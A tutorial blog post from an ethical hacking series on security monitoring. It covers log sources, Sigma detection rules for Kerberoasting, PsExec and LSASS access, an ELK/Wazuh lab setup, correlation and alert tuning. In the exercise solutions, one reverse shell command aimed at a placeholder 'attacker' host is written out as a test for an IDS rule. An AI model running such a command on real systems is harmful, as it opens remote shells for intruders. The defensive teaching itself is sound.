Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything

scipio

Published: 02 Jul 2026 › Updated: 02 Jul 2026 Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything

Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything

What will I learn

What SIEM is and why centralized log management is the foundation of security operations;
Log sources -- what to collect and why (Windows events, Linux syslog, firewall, DNS, proxy, EDR);
Correlation rules -- detecting attack patterns across multiple log sources;
Sigma rules -- the universal detection format that works across any SIEM;
ELK Stack (Elasticsearch, Logstash, Kibana) -- building an open-source SIEM;
Wazuh -- open-source security monitoring with HIDS, log analysis, and compliance;
Alert fatigue and tuning -- reducing noise so analysts can focus on real threats;
Defense: building a SOC monitoring strategy that detects the attacks from this entire series.

Requirements

A working modern computer running macOS, Windows or Ubuntu;
Understanding of logging from episodes 71-72;
Docker for running ELK Stack or Wazuh;
The ambition to learn ethical hacking and security research.

Difficulty

Intermediate

Curriculum (of the `Learn Ethical Hacking Series`):

Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything

Solutions to Episode 73 Exercises

Exercise 1: Suricata custom rules (abbreviated).

Rule 1 -- Nmap SYN scan detection:
  alert tcp any any -> $HOME_NET any (msg:"Nmap SYN Scan Detected";
    flags:S; threshold:type both,track by_src,count 100,seconds 10;
    sid:2000001;)
  Test: nmap -sS target -> alert triggered after 100 SYNs in 10 sec

Rule 2 -- Reverse shell on port 4444:
  alert tcp $HOME_NET any -> any 4444 (msg:"Possible Reverse Shell";
    flow:to_server,established; sid:2000002;)
  Test: nc -e /bin/bash attacker 4444 -> alert triggered

Rule 3 -- Base64 PowerShell in HTTP:
  alert http any any -> any any (msg:"Base64 PowerShell in HTTP";
    http.request_body; content:"powershell"; nocase;
    content:"-enc"; nocase; sid:2000003;)
  Test: curl with encoded PS payload -> alert triggered

Three rules, three detection vectors, each mapping directly to attack techniques from this series. The SYN scan rule uses Suricata's threshold modifier to avoid alerting on individual SYN packets (which are normal TCP behavior) and instead fires when 100 SYN packets arrive from a single source within 10 seconds -- a pattern that screams port scanning. This is the nmap -sS scan from episode 5 (active scanning) being caught by the network defense we deployed in episode 73. The reverse shell rule detects outbound TCP connections to port 4444 with the flow:to_server,established qualifier, which means it only fires on established connections (not random SYN probes) heading toward the attacker's listener. Port 4444 is the default Metasploit port we used throughout episodes 41-42, and the established flow check reduces false positives by ignoring connections that never complete the handshake. The Base64 PowerShell rule inspects HTTP request bodies for the combination of "powershell" and "-enc" -- the exact invocation pattern for encoded PowerShell commands we used in episodes 32 and 63. This rule catches the payload in transit (across the wire) rather than at the endpoint (where Script Block Logging would catch it), providing defense in depth -- two independent detection opportunities for the same attack.

Exercise 2: Network architecture (abbreviated).

VLANs: Users (10), Servers (20), DB (30), Management (40),
  DMZ (50), IoT (60), Guest (70)
Firewalls: edge NGFW + internal NGFW between VLANs
IDS sensors: DMZ ingress, internal VLAN trunk, VPN concentrator
Segment boundaries prevent:
  - Lateral movement (ep34): Users cannot reach DB directly
  - ARP spoofing (ep29): VLANs isolate broadcast domains
  - Wireless pivot (ep30): IoT VLAN isolated from corporate
  - PsExec (ep34): blocked at VLAN firewall (port 445 only
    allowed from Management VLAN to Servers)

This design puts the defense-in-depth principles from episode 73 into a concrete architecture for a multi-office company. Seven VLANs might feel like overkill (and in a 10-person startup it probably is), but for 200 employees across 3 offices this is actually the minimum viable segmentation. The critical design decision is the IDS sensor placement -- putting sensors at the DMZ ingress, the internal VLAN trunk, and the VPN concentrator gives you visibility at every trust boundary where traffic crosses between security zones. The DMZ sensor sees attacks coming from the internet. The VLAN trunk sensor sees lateral movement attempts between internal segments. And the VPN sensor sees remote access traffic, which is where an attacker with stolen VPN credentials (episode 7 on passwords, episode 8 on phishing for credentials) would enter the network. The mapping of segment boundaries to specific attacks from this series is the most valuable part of the exercise -- it forces you to think about network design as a defense against specific, known techniques rather than as abstract "best practices." A firewall rule that says "block port 445 from Users to Servers" is not an arbitrary restriction; it is the specific control that prevents PsExec lateral movement from episode 34.

Exercise 3: RITA beacon detection (abbreviated).

Normal traffic baseline: 1,247 connections to 89 unique destinations
C2 beacon: 30 connections to 1 destination at 58-62 sec intervals

RITA show-beacons output:
  Score: 0.94 (out of 1.0) -- high confidence beacon
  Source: 192.168.1.50 -> 10.10.14.5
  Connections: 30, Avg interval: 59.8s, Jitter: 3.2%
  TS Score: 0.97, DS Score: 0.91

RITA correctly identified the C2 among 1,247 legitimate connections.
The regularity of timing (even with 30% jitter configured in the
implant) creates a statistical pattern that stands out clearly.

A beacon score of 0.94 is a clear detection -- RITA found the C2 implant hiding among 1,247 legitimate connections based purely on timing analysis. The TS Score (Timing Score) of 0.97 means the connection intervals were almost perfectly regular, and the DS Score (Data Size Score) of 0.91 means the request and response sizes were highly consistent -- both hallmarks of automated beacon behavior rather than human browsing. What makes this result impressive is that the implant was configured with 30% jitter (randomizing the beacon interval by up to 30%), which should make the timing less predictable. But 30% jitter on a 60-second interval means the connection happens between 42 and 78 seconds apart -- still far more regular than the bursty, unpredictable patterns of real human web browsing. RITA's statistical approach catches this because it analyzes the distribution of intervals rather than looking for an exact match. Even with jitter, the standard deviation of beacon intervals is dramatically lower than legitimate traffic. Having said that, a sophisticated attacker who uses very high jitter (200%+), randomized data sizes, and traffic that mimics real browsing patterns can potentially drop the beacon score below detection thresholds -- which is why behavioral analysis is one layer in the detection stack, not the only layer.

Episode 73 covered network security architecture -- defense-in-depth design, next-generation firewalls, IDS/IPS deployment with Suricata, network segmentation with VLANs, TLS inspection, DNS security, 802.1X access control, and network monitoring with Zeek and RITA. That episode built the network -- the physical and logical infrastructure that prevents, detects, and contains attacks.

But here is the problem. Your NGFW logged a blocked connection from a suspicious IP. Your Suricata sensor flagged a Cobalt Strike beacon signature. Your Windows domain controller recorded 47 failed Kerberos authentication attempts. Your DNS server logged queries to a domain registered 3 days ago. Your Linux server logged a sudo escalation at 3 AM from a user who has never used sudo before. Each of these events exists in its own silo -- the NGFW has its logs, Suricata has its alerts, Windows has its Event Log, the DNS server has its query log, and the Linux server has its auth.log. Nobody is looking at all of them together. Nobody sees that these five events involve the SAME attacker IP, happened within the SAME 20-minute window, and together represent a coordinated intrusion attempt. Each system sees its fragment. The full picture is invisible.

A SIEM (Security Information and Event Management) is the system that collects ALL of these logs into ONE place, correlates them across sources, and tells you when the pattern means trouble. It is the central nervous system of your security operations, and without it, everything we built in episodes 71 through 73 -- all the hardening, all the detection rules, all the network controls -- generates data that nobody reads, alerts that nobody sees, and evidence that nobody correlates. Today we fix that.

Why You Need a SIEM

You have hardened your Linux servers (episode 71). You have locked down Active Directory (episode 72). You have segmented the network and deployed IDS sensors (episode 73). But hardening and network controls are preventive -- they stop attacks. You also need detective controls -- systems that TELL YOU when an attack is happening, when a prevention layer has been bypassed, or when something suspicious is occurring that does not match any signature but just looks wrong.

A SIEM collects logs from every source in your infrastructure, normalizes them into a common format, indexes them for fast searching, and applies correlation rules that detect attack patterns spanning multiple systems. Without a SIEM, your logs exist in silos. The firewall logged a blocked connection. The AD server logged a failed Kerberoast attempt. The web server logged a SQL injection probe. Each system sees its piece. Only a SIEM sees the full picture: the same attacker IP hit the firewall, then Kerberoasted (episode 33), then tried SQL injection (episode 12) -- that is a coordinated attack, not three unrelated events.

The distinction between logging and monitoring is critical. Logging means each system writes events to its own log files. Monitoring means a central system collects, indexes, and analyzes all those logs in near-real-time. Every organization has logging (it is on by default in most systems). Quit some organizations have monitoring. Far fewer have the correlation rules and tuning necessary to actually detect attacks in the flood of data. The SIEM is where monitoring becomes detection.

What to Collect

Priority 1 (must have):
  - Windows Security Event Logs (4624, 4625, 4648, 4672, 4688, 4769)
  - Windows Sysmon (process creation, network, file, registry)
  - Active Directory audit logs (4662 for DCSync detection)
  - Firewall logs (connections allowed and denied)
  - DNS query logs (every query, every response)
  - VPN authentication logs

Priority 2 (should have):
  - Linux syslog and auth.log
  - Web proxy / HTTP logs
  - Email gateway logs (delivery, blocking, quarantine)
  - EDR telemetry (if you have EDR)
  - Cloud service logs (AWS CloudTrail, Azure Activity Log)
  - Database audit logs

Priority 3 (nice to have):
  - DHCP logs (IP-to-hostname mapping)
  - Certificate logs
  - Physical access logs (badge reader events)
  - Application-specific logs (custom apps)
  - DLP alerts
  - Vulnerability scan results

The rule: if it generates security-relevant events, send it to the SIEM.
Storage is cheap. Missing a log during an incident is expensive.

The prioritization here is deliberate and maps directly to the attack techniques in this series. Windows Security Event Logs are Priority 1 because they are the primary detection source for Active Directory attacks (episode 33) -- Event 4769 detects Kerberoasting, Event 4662 with replication GUIDs detects DCSync, Event 4688 with command-line logging detects encoded PowerShell execution, and Events 4624/4625 detect logon anomalies including Pass-the-Hash (Type 3 NTLM logons from unexpected sources). Sysmon supplements native Windows logging with process-level detail -- Event 10 (ProcessAccess on LSASS) is essentially a mimikatz alarm, as we configured in episode 72. DNS query logs are Priority 1 because every C2 callback starts with a DNS resolution, every data exfiltration channel (episode 40) begins with a DNS lookup, and DNS tunneling uses the DNS protocol itself as the data transport.

The Priority 2 and 3 sources are not less important -- they are less urgent to integrate first. Linux syslog and auth.log provide the detection data for the Linux privilege escalation techniques from episode 31 (sudo abuse, cron manipulation, SUID exploitation). Cloud service logs (CloudTrail, Azure Activity Log) detect the cloud attacks from episodes 35-36. DHCP logs solve the "who was using that IP address at 3:47 AM?" problem that comes up in every incident investigation -- without DHCP logs, you have an IP address but no hostname, and in a DHCP environment the same IP could belong to a different machine every day ;-)

Sigma Rules -- Universal Detection

If Suricata rules are the detection language for network traffic, Sigma is the detection language for log events. Write a Sigma rule once, convert it to any SIEM format -- Splunk, Elasticsearch, Microsoft Sentinel, QRadar, whatever your organization uses. The rule describes the detection logic in a vendor-neutral YAML format, and the sigma-cli tool translates it into the specific query syntax your SIEM understands.

# Sigma is YARA for log events -- write once, convert to any SIEM

# Detect Kerberoasting (from episode 33)
title: Kerberoasting Activity
status: stable
description: Detects TGS requests with RC4 encryption
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName: '*$'
    filter:
        ServiceName:
            - 'krbtgt'
            - '*$'
    condition: selection and not filter
level: high
tags:
    - attack.credential_access
    - attack.t1558.003

# Detect PsExec (from episode 34/41)
title: PsExec Service Installation
status: stable
description: Detects PsExec service creation on remote host
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'PSEXESVC'
    condition: selection
level: high
tags:
    - attack.lateral_movement
    - attack.t1021.002

# Detect LSASS Access (mimikatz, episode 33)
title: LSASS Memory Access
status: stable
description: Detects processes accessing LSASS memory
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        TargetImage: '*\lsass.exe'
        GrantedAccess:
            - '0x1010'
            - '0x1410'
            - '0x1438'
    filter:
        SourceImage:
            - '*\csrss.exe'
            - '*\wininit.exe'
            - '*\wmiprvse.exe'
    condition: selection and not filter
level: critical

Each of these three rules targets a specific attack from earlier in this series. The Kerberoasting rule watches for Event 4769 (TGS requests) with RC4 encryption type (0x17), which is the specific encryption downgrade that makes offline cracking feasible -- we exploited this exact weakness in episode 33 when we requested RC4-encrypted service tickets and cracked them with hashcat. The filter excludes machine accounts (ending in $) and the krbtgt account because those generate legitimate RC4 TGS requests. The PsExec rule is beautifully simple: Event 7045 (new service created) with service name PSEXESVC is PsExec, period. This is the lateral movement tool we used in episode 34 and episode 41, and its signature is unmistakable because PsExec works by installing a temporary Windows service on the remote machine. The LSASS Access rule fires on Sysmon Event 10 (ProcessAccess) when any process opens a handle to lsass.exe with the specific access rights (0x1010, 0x1410, 0x1438) that credential dumping requires. The filter whitelists the Windows system processes that legitimately access LSASS -- csrss.exe, wininit.exe, wmiprvse.exe -- because without the filter this rule would fire on every boot.

# Convert Sigma rules to your SIEM format
pip install sigma-cli

# Convert to Splunk
sigma convert -t splunk -p sysmon sigma_rule.yml

# Convert to Elasticsearch/ELK
sigma convert -t elasticsearch -p sysmon sigma_rule.yml

# Convert to Microsoft Sentinel
sigma convert -t microsoft365defender sigma_rule.yml

# The Sigma rule repository: https://github.com/SigmaHQ/sigma
# 3,000+ detection rules, community-maintained, free

The real power of Sigma is the community repository. Over 3,000 detection rules, maintained by security researchers and SOC analysts worldwide, covering everything from basic brute force detection to highly specific APT technique indicators. Instead of writing every detection rule from scratch, you start with the community rules, customize the filters for your environment (whitelist your monitoring tools, your backup software, your vulnerability scanners), and add your own rules for organization-specific patterns. A new Sigma rule for a novel attack technique can be written once and deployed to every SIEM format within minutes -- the sigma-cli converter handles the translation, and the analyst focuses on the detection logic rather than the query syntax of their specific SIEM product ;-)

ELK Stack -- Open Source SIEM

Elasticsearch, Logstash, and Kibana -- the ELK Stack -- is the most widely deployed open-source SIEM platform. Elasticsearch stores and indexes the logs (it is a distributed search engine built for exactly this purpose). Logstash ingests logs from multiple sources and transforms them into a normalized format. Kibana provides the web interface for searching, visualizing, and dashboarding. Together they form a complete SIEM pipeline: collect, normalize, store, search, visualize.

# Deploy ELK with Docker Compose
# docker-compose.yml (simplified for lab):
version: '3'
services:
  elasticsearch:
    image: elasticsearch:8.12.0
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
    ports: ["9200:9200"]
    volumes: ["esdata:/usr/share/elasticsearch/data"]

  logstash:
    image: logstash:8.12.0
    ports: ["5044:5044"]
    volumes:
      - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf

  kibana:
    image: kibana:8.12.0
    ports: ["5601:5601"]
    environment:
      - ELASTICSEARCH_HOSTS=http://elasticsearch:9200

volumes:
  esdata:

# Logstash pipeline (logstash.conf):
input {
  beats { port => 5044 }
  syslog { port => 514 }
}
filter {
  if [type] == "syslog" {
    grok {
      match => {
        "message" => "%{SYSLOGTIMESTAMP:timestamp} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT:pid}\])?: %{GREEDYDATA:message}"
      }
    }
  }
}
output {
  elasticsearch {
    hosts => ["elasticsearch:9200"]
    index => "security-%{+YYYY.MM.dd}"
  }
}

# On Windows endpoints: install Winlogbeat
# Winlogbeat forwards Security, Sysmon, PowerShell logs to Logstash
# On Linux: install Filebeat
# Filebeat forwards auth.log, syslog, application logs

The architecture is worth understanding. Beats agents (Filebeat for Linux, Winlogbeat for Windows) run on each endpoint and ship logs to Logstash over TLS on port 5044. Logstash applies filter pipelines that parse the raw log lines into structured fields -- the grok pattern above extracts timestamp, hostname, program name, and PID from syslog messages, turning a single text line into searchable fields. Elasticsearch then indexes these structured events, making them searchable at scale (a well-configured ELK cluster can ingest millions of events per day and return search results in milliseconds). And Kibana lets you build dashboards that show security-relevant metrics at a glance: failed logins per hour, process creation events by parent process, DNS queries to newly registered domains, network connections to known C2 infrastructure.

The xpack.security.enabled=false in the lab config is a deliberate simplification -- in production you MUST enable X-Pack security (authentication, TLS, role-based access control) because an unsecured Elasticsearch instance is itself a high-value target. An attacker who compromises your SIEM can read every log, understand every detection rule, and know exactly which of their activities have been detected and which have not. Securing the security infrastructure is not optional.

Wazuh -- Purpose-Built Security Monitoring

While ELK is a general-purpose log platform that CAN be used as a SIEM, Wazuh is purpose-built for security monitoring. It combines SIEM functionality with host-based intrusion detection (HIDS), vulnerability scanning, compliance checking, and active response -- all in one integrated platform.

# Wazuh: open-source SIEM + HIDS + compliance + vuln detection
# Deploy with Docker:
docker compose -f wazuh-docker/docker-compose.yml up -d

# Wazuh agents on endpoints provide:
# - File integrity monitoring (detects unauthorized file changes)
# - Log collection and forwarding (structured, not raw text)
# - Vulnerability detection (scans packages against CVE databases)
# - Compliance checking (CIS benchmarks, PCI DSS, GDPR)
# - Active response (auto-block IPs, kill processes on alert)
# - Rootkit detection (checks for known rootkit indicators)

# Built-in detection rules (4,000+ rules, pre-tuned):
# - Brute force detection (5+ failed logins -> alert)
# - Web attack detection (SQLi, XSS patterns in web logs)
# - Malware detection (known hash matches)
# - Policy violations (unauthorized software, config changes)
# - Privilege escalation indicators
# - Lateral movement indicators

The key advantage Wazuh has over raw ELK is that it comes with 4,000+ pre-built detection rules that are specifically designed for security monitoring. An ELK deployment starts as a blank slate -- you have a powerful search engine with no idea what to look for. A Wazuh deployment starts detecting brute force attacks, SQL injection attempts, privilege escalation indicators, and policy violations from the moment the first agent connects. The file integrity monitoring component is particularly valuable because it detects changes to critical system files (the same functionality as AIDE on Linux from episode 71, but centrally managed and integrated with the SIEM alerting pipeline). If an attacker modifies /etc/passwd, drops a new binary into /usr/local/bin, or changes an Apache configuration file, Wazuh detects the change, compares the file hash against known-good baselines, and generates an alert with the exact file path, the old hash, the new hash, and the user who made the modification.

The active response capability is the bridge between detection and automated defense. When Wazuh detects a brute force attack (5+ failed login attempts from a single IP), it can automatically execute a response script that blocks the attacking IP at the firewall -- no human intervention needed. This is SOAR (Security Orchestration, Automation, and Response) functionality built into the platform rather than bolted on as a separate product. For high-confidence, low-risk detections (brute force is textbook -- false positives are rare and the automated response is easily reversible), active response significantly reduces the time between detection and containment.

Correlation Rules -- Turning Noise Into Intelligence

Single events are noise. Correlated events are intelligence. The entire value proposition of a SIEM is its ability to connect events across multiple log sources and identify attack patterns that no individual system can see on its own.

Single events are noise. Correlated events are intelligence.

Correlation example 1: Credential Stuffing -> Account Takeover
  Event A: 50+ failed logins from single IP (firewall log)
  Event B: 1 successful login from same IP (AD log)
  Event C: Unusual activity from the logged-in account (proxy log)
  Timeframe: all within 30 minutes
  Correlation: credential stuffing succeeded -> compromised account
  Response: disable account, block IP, begin investigation

Correlation example 2: Lateral Movement Chain
  Event A: Kerberoasting detected -- 4769 with RC4 (AD log)
  Event B: New service created on remote host -- 7045 (endpoint log)
  Event C: Remote process execution -- Sysmon Event 1 (endpoint log)
  Timeframe: events A->B->C within 2 hours
  Correlation: Kerberoast -> PsExec -> remote code execution
  Response: isolate affected machines, reset service account passwords

Correlation example 3: Data Exfiltration
  Event A: Large file access on file server (file audit log)
  Event B: Unusual outbound data volume (firewall log)
  Event C: DNS queries to newly registered domain (DNS log)
  Timeframe: all within 1 hour
  Correlation: data staging -> exfiltration via HTTPS or DNS
  Response: block the domain, capture the traffic, preserve evidence

Each of these correlation scenarios maps to attack chains we have studied across multiple episodes. The credential stuffing scenario combines network-level detection (firewall logs showing a brute force pattern from episode 7) with authentication-level detection (AD logs showing a successful logon from the same attacker) with behavior-level detection (proxy logs showing the compromised account doing things the real user never does). No single log source tells the full story. The firewall sees "50 blocked connections from 203.0.113.42" -- suspicious but not conclusive. The AD log sees "user jsmith logged in from 203.0.113.42" -- a successful logon, unremarkable by itself. The proxy log sees "jsmith downloaded 200MB of files from the finance share at 2 AM" -- unusual but not necessarily malicious. It is ONLY when you correlate all three -- the brute force, the successful logon from the same IP, the unusual data access from the newly logged-in account -- that the attack becomes visible.

The lateral movement chain scenario is episodes 33 and 34 in a SIEM alert: Kerberoasting to obtain a service account password, PsExec to move to a server using those credentials, and remote code execution on the target. Each individual event might generate an alert in isolation, but the correlated alert that says "these three events happened in sequence, from the same source, within 2 hours" elevates the severity from "investigate when convenient" to "respond immediately."

Alert Fatigue and Tuning

This is where quit some SIEM deployments fail -- not from lack of visibility, but from too much of it. A SIEM that generates 10,000 alerts per day is worse than no SIEM at all, because the analysts who are supposed to investigate those alerts cannot possibly review more than 50 per day. The other 9,950 are ignored. And somewhere in that ignored pile is the real attack.

The #1 cause of SIEM failure: too many alerts, not enough analysts.

A typical untuned SIEM generates 10,000+ alerts per day.
A SOC team of 5 analysts can investigate ~50 per day.
That means 9,950 alerts are ignored. INCLUDING the real attacks.

How to fix it:

1. Tune out known false positives
   The backup server scanning the file share at 3 AM is not an
   attacker. Whitelist it. The monitoring system connecting to
   every server on port 443 is not C2. Whitelist it.

2. Prioritize by risk
   Not all alerts are equal. "Failed login" is low priority.
   "LSASS memory access from unknown process" is critical.
   Use MITRE ATT&CK to map alerts to kill chain stages --
   later stages (execution, lateral movement) are more urgent
   than early stages (reconnaissance, scanning).

3. Automate the easy stuff
   SOAR (Security Orchestration, Automation, and Response):
   "If IP appears in threat intelligence feed AND generates
   a firewall alert, automatically block the IP and create
   a ticket." No analyst needed.

4. Reduce to actionable alerts
   Target: <50 alerts per analyst per day
   Each alert should have: enough context to investigate,
   a clear next step, and a reasonable chance of being true.

The MITRE ATT&CK prioritization approach is the most effective tuning strategy I have seen. The ATT&CK framework (which we referenced throughout the offensive episodes) maps every attack technique to a stage in the kill chain: reconnaissance, initial access, execution, persistence, privilege escalation, defense evasion, credential access, discovery, lateral movement, collection, exfiltration, command and control. An alert for reconnaissance (someone port-scanned your external IP range) is interesting but not urgent -- attackers scan everything constantly, and most scans lead nowhere. An alert for lateral movement (PsExec service created on a server) means an attacker is ALREADY INSIDE your network and actively spreading. Same SIEM, same alert pipeline, but radically different urgency. Mapping your detection rules to ATT&CK stages lets you assign severity automatically: early-stage techniques get "low" severity (investigate today), mid-stage techniques get "medium" (investigate within the hour), and late-stage techniques get "critical" (investigate immediately, this might be an active breach).

The SOAR component deserves special attention because it is where the SIEM stops being a passive dashboard and starts being an active defense tool. A SOAR playbook that says "if an IP from a threat intelligence feed hits our firewall, automatically block the IP, create a ticket, and enrich the alert with WHOIS data and VirusTotal results" removes an entire class of alerts from the analyst queue. The analyst does not need to manually look up the IP, decide it is malicious, log into the firewall, create a block rule, and document the action -- the SOAR platform does all of that in seconds, and the analyst reviews the automated action only if something looks wrong. For high-confidence, high-volume alerts (known-bad IPs hitting the perimeter happens thousands of times per day), automation is the only scalable response.

Building a Detection Strategy

A SIEM without a detection strategy is just an expensive log storage system. The strategy determines WHAT you detect, HOW you prioritize detections, and WHEN you act on alerts. The best approach is to work backwards from the attacks in this series:

Detection coverage mapped to this series:

Attack                      | Log Source        | Detection
Kerberoasting (ep33)        | Windows 4769      | RC4 TGS volume spike
PsExec lateral (ep34)       | Windows 7045      | PSEXESVC service creation
DCSync (ep33)               | Windows 4662      | Replication GUID access
Mimikatz (ep33)             | Sysmon 10         | LSASS process access
Encoded PowerShell (ep32)   | Windows 4104      | Script block content
SQL injection (ep12)        | Web access log    | SQLi pattern matching
C2 beaconing (ep62)         | Zeek conn.log     | RITA beacon score > 0.7
DNS tunneling (ep40)        | DNS query log     | Long labels, high entropy
Brute force (ep7)           | Auth log          | Failed login threshold
Privilege escalation (ep31) | Linux auth.log    | Unexpected sudo/su usage
Data exfiltration           | Firewall log      | Unusual outbound volume
Phishing (ep39)             | Email gateway     | Suspicious attachment/link

Step 1: Implement detections for attacks you KNOW about (this table)
Step 2: Add threat intelligence feeds (known-bad IPs, domains, hashes)
Step 3: Build behavioral baselines (what is "normal" for your network)
Step 4: Hunt proactively (search for indicators before alerts fire)

Step 4 is where SIEM evolves from reactive monitoring to proactive defense. Instead of waiting for an alert to fire, analysts use the SIEM's search capabilities to hunt for indicators of compromise that their detection rules might not cover -- searching for processes with unusual parent-child relationships, DNS queries to domains registered within the last 7 days, or outbound connections to countries where the organization has no business operations. This proactive approach catches the attacks that bypass your rules, and the findings from each hunt become new dectection rules for the next time. The cycle is continuous: detect, investigate, learn, write a new rule, detect better next time.

This detection-first mindset connects directly to the threat intelligence concepts from episode 52 -- the intelligence tells you what to look for, the SIEM tells you where to look, and the correlation engine tells you when what you found is actually dangerous. Without intelligence, you are searching blind. Without the SIEM, you have nowhere to search. Without correlation, every finding is an isolated data point rather than part of an attack narrative.

The AI Slop Connection

AI is the most promising technology for SIEM and the most overhyped. AI-powered SIEMs claim to reduce false positives by 90%, automatically correlate events, and detect unknown threats through anomaly detection. Some of this is real -- machine learning genuinely improves alert prioritization and can identify patterns in log data that human analysts and static rules miss.

But AI also hallucinates detections. An AI model that flags a legitimate admin action as "suspicious" because it has never seen that exact pattern before generates noise, not intelligence. AI that auto-closes alerts without human review creates blind spots. AI that is trained on one environment and deployed in another misclassifies everything. An AI-powered SIEM that marks a Domain Admin logging into a workstation as "normal" (because the training data included that behavior) is actively hiding the exact vulnerability we exploited in episode 33 -- the DA credential cached on a workstation waiting for mimikatz.

Use AI to assist analysts, not replace them. AI triages. Humans investigate. AI prioritizes. Humans decide. AI can reduce a queue of 10,000 alerts to 200 high-priority candidates in seconds, which is genuinely valuable. But the 200 candidates still need human eyes -- because the cost of a false negative (a real attack dismissed by the AI) is dramatically higher than the cost of a false positive (a benign event investigated by an analyst). In security monitoring, you can tolerate false positives (they waste analyst time). You cannot tolerate false negatives (they let attackers win). Every AI system has false negatives, and an AI system that nobody questions because "the AI said it was fine" is a defense that actively hides its own failure modes.

Exercises

Exercise 1: Deploy the ELK Stack (or Wazuh) in your lab using Docker. Configure log collection from: (a) a Linux server (syslog via Filebeat), (b) a Windows VM (Security + Sysmon via Winlogbeat). Create a Kibana dashboard showing: total events per source, failed logins over time, and process creation events. Verify events are flowing by performing a failed SSH login and seeing it appear in Kibana within 60 seconds. Save your Docker Compose file and Kibana dashboard export to ~/lab-notes/elk-siem-deployment.md.

Exercise 2: Implement 5 Sigma detection rules in your SIEM. Choose rules that detect attacks from this series: Kerberoasting (ep33), PsExec (ep34), encoded PowerShell (ep32), LSASS access (ep33), and brute force (ep7). Convert them to your SIEM's query format using sigma-cli. Then perform each attack in your lab and verify the rule fires. Document detection latency (time from attack to alert) for each rule. Save to ~/lab-notes/sigma-detections.md.

Exercise 3: Simulate alert fatigue. Configure your SIEM to alert on ALL failed login attempts (no threshold). Perform 500 failed login attempts from a script. Then perform 1 REAL attack (Kerberoasting or PsExec) hidden among the noise. Can you find the real attack in the flood of alerts? Then tune: add a threshold (alert on 10+ failures in 5 minutes from single source) and add MITRE ATT&CK severity tagging. Verify the noise drops and the real attack is still detected and properly prioritized. Save to ~/lab-notes/alert-fatigue-tuning.md.

Bedankt en tot de volgende keer!

Hive account@scipio

Leave Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything to:

Written by scipio

Does it matter who's right, or who's left?

Best Posts From scipio

We have not curated any of scipio's posts yet. But you can encourage our curation team to review posts by visiting them regularly and by referring other readers. Because we give priority to frequently read content.

Learn Ethical Hacking (#74) - Security Monitoring and SIEM - Seeing Everything